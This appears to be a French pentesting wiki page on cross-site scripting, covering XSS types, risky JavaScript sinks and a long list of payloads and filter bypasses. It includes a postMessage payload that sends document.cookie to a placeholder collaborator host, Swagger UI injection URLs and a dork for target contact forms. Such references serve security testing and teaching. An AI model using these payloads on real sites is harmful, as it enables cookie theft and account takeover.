🍪XSS

Cross-site scripting

Sites

Mindmap

Quelles possibilités pour un individu malveillant ?

  • Usurper l'identité ou se faire passer pour l'utilisateur victime.

  • Réaliser une action que l'utilisateur est capable d'effectuer.

  • Lire chaque données auxquelles un utilisateur peut accéder

  • Voler les identifiants d'un utilisateur.

  • Réaliser des attaques de défacement sur le site web.

  • Injecter des fonctions de trojan dans le site web.

Les types de XSS

Stored XSS

On appel XSS stockée un payload de Cross-site scripting qui peut-être enregistré dans le serveur et pouvant donc impacter tous les utilisateurs visitant le site web.

Ce type de XSS est la plus dangereuse du fais du nombre d'actions nécessaires côté attaquant (1 action) et du potentiel nombre élevé de victimes.

Exemple

Utiliser le username <img src=x onerror=alert(document.domain)> qui sera affiché dans plusieurs pages du site.

Reflected XSS

On appel XSS reflété un payload de Cross-Site Scripting stocké dans les données envoyées du navigateur au serveur mais que le serveur ne stock pas. Ce type de XSS est notamment utilisé dans des campagnes de phishing car elle nécessite une action de la victime.

Exemple

<input type="search" value="what is XSS ?" />
<input type="search" value="abc"/><script>alert(document.domain)<script>" />
https://target.com/search?q=abc"/><script>alert(document.domain)<script>

Self XSS

On parle de Self XSS lorsqu'un attaquant exploite une vulnérabilité qui requière un contexte particulier nécessitant des changement manuels. La seule personne pouvant être affecté par cette XSS étant donc lui-même.

Reflected XSS vs Self XSS

Reflected XSS: d'autres utilisateurs peuvent y accéder et donc en être potentiellement victime en cas de phishing.

Self XSS: Aucun autre utilisateur que vous-même ne peut y accéder car elle requière un contexte spécifique à l'utilisateur.

Certains voir la plupart des programmes de bug bounty ne considèrent pas les Self XSS comme des vulnérabilités acceptables.

Exemple

Payload dans un formulaire n'apparaissant pas dans l'url et ne pouvant donc pas servir dans des campagnes de phishing.

Blind XSS

On appel XSS en aveugle les payload de Cross-site scripting qui ne sont pas visible directement par l'attaquant. Ces vulnérabilités résident souvent dans des pages dont seul des utilisateurs autorisés peuvent accéder (interfaces d'administration par exemple).

Comme vous pouvez vous en doutez, ces vulnérabilités sont plus complexes à mettre en place du fait de l'impossibilité pour l'attaquant de savoir si son payload a fonctionné ou non.

Pour maximiser les chances de réussite de ces attaques, les attaquants utilisent souvent des polyglots, qui sont conçues pour fonctionner dans de nombreux scénarios différents, comme dans un attribut, sous forme de texte brut ou dans une balise <script>.

Points d'injection fréquents:

  • Formulaire de contact

  • Formulaire de feedback

  • Username (formulaire de connexion)

  • User-agent (en-tête)

Exemple

DOM-based XSS

Dans le cas des DOM-based XSS, l'élément vulnérable n'est pas le serveur lui même mais plutôt le code JavaScript présent dans la page.

Etant donné que JavaScript est utilisé pour ajouter de l'interactivité à une page, des arguments dans l'URL peuvent parfois être utilisés pour modifier la page après son chargement. Si les entrées des utilisateurs ne sont pas (correctement) filtrés dans cette URL alors un attaquant peut injecter du code malveillant dans la page.L

Exemple

Code vulnérable

<script>
    var stores = ["London","Paris","Milan"];
    var store = (new URLSearchParams(window.location.search)).get('storeId');
    document.write('<select name="storeId">');
    if(store) {
        document.write('<option selected>'+store+'</option>');
    }
    for(var i=0;i<stores.length;i++) {
        if(stores[i] === store) {
            continue;
        }
        document.write('<option>'+stores[i]+'</option>');
    }
    document.write('</select>');
</script>

Injection dans l'URL

product?productId=1&storeId="></select><img%20src=1%20onerror=alert(1)>

Fonctions sensibles

  • document.write

  • window.location

  • document.cookie

  • eval()

  • document.domain

  • WebSocket

  • element.src

  • postmessage

  • setRequestHeader

  • JSON.parse

  • ng-app

  • URLSearchParams

  • replace()

  • innerHTML

  • location.search

  • addEventListener

DOM XSS - AngularJS

{{$on.constructor('alert(1)')()}}

Payloads XSS génériques

Basic

<script>alert(document.domain)</script>

</script><script>alert(document.domain)</script>

</p><script>alert(document.domain)</script>

Dans un attribut img

"><svg onload=alert(document.domain)>

Dans innerHTML

<img src=x onerror=alert(document.domain)>

Avec parenthèses bloquées

<img src=x onerror=alert`1`>

Dans un paramètre attendant une URL (type href JQuery)

javascript:alert(document.domain)

data:text/html;base64,<payload en base64>

Dans une valeur d'input avec "><" encodés

"onmouseover="alert(document.domain)

Dans chaîne de caractère javascript avec "><" encodés

'-alert(document.domain)-'

Dans un formulaire possédant une fonctionnalité permettant d'ajouter un lien à tu texte

javascript:bing={};[2].find(confirm)

XSS dans Websocket

Exemple de requête live chat:

{"message":"<img src=x onerror=alert(document.domain)>"}

Escaping JSON simple

\"-alert(document.domain)}//

Bypass de fonction javascript replace()

<><img src=x onerror=alert(document.domain)>

XSS dans onclick avec tout encodé sauf ' et \ échapés

http://foo?&apos;-alert(1)-&apos;

XSS dans tamplate avec <>' " \ et unicode echapés

${alert(document.domain)}

DOM XSS dans Swagger UI

  • https://exemple.com/?configUrl=https://jumpy-floor.surge.sh/test.json

  • https://exemple.com/?url=https://jumpy-floor.surge.sh/test.yaml

  • https://exemple.com/swagger-ui/index.html?url=https://jumpy-floor.surge.sh/test.yaml

  • https://exemple.com/swagger-ui.html?url=https://jumpy-floor.surge.sh/test.yaml

  • https://exemple.com/api/swagger/index.html?configUrl=https://jumpy-floor.surge.sh/test.json

Trouver des endpoint utilisant Swagger => https://github.com/doosec101/swagger_scanner

DOM XSS dans postMessage()

<iframe src="https://target.com/" onload="this.contentWindow.postMessage('<img src=1 onerror=alert(document.cookie)>','*')">

DOM XSS dans postMassage + JSON.parse

<iframe src=https://TARGET.net/ onload='this.contentWindow.postMessage(JSON.stringify({
    "type": "load-channel",
    "url": "JavaScript:document.location='https://COLLABORATOR.com?c='+document.cookie"
}), "*");'>

ou via DOM invader:

alert(document.cookie)

alert(localStorage.getItem('access_token'))

DOM XSS scan via nmap

$ nmap -p80 --script http-dombased-xss.nse

XSS en python

<py-script>
print('\74img/src/onerror\75alert(domain)\76')
</py-script>

ou

<py-script>
'\74img/src/onerror\75alert(domain)\76'
</py-script>

Stored XSS + HTML injection

  • Google Dork pour trouver des formulaires de contact

site:target.com inurl:"contact" | inurl:"contactus" | inurl:"contact-us" | inurl:"contactus" | inurl:"contact_form" | inurl:"contact-form" ...

  • Placer un payload d'injection HTLM dans le nom ( exp: "abc><h1>attacker<h1>)

  • Placer payload XSSHunter dans la forme du message.

  • Si cela fonctionne alors on reçoit soit le résultat de l'injection HTML dans notre boîte mail, soit une alerte dans XSSHunter, soit les deux.

Plus de payloads ?

☠️pageCharges utiles

Dernière mise à jour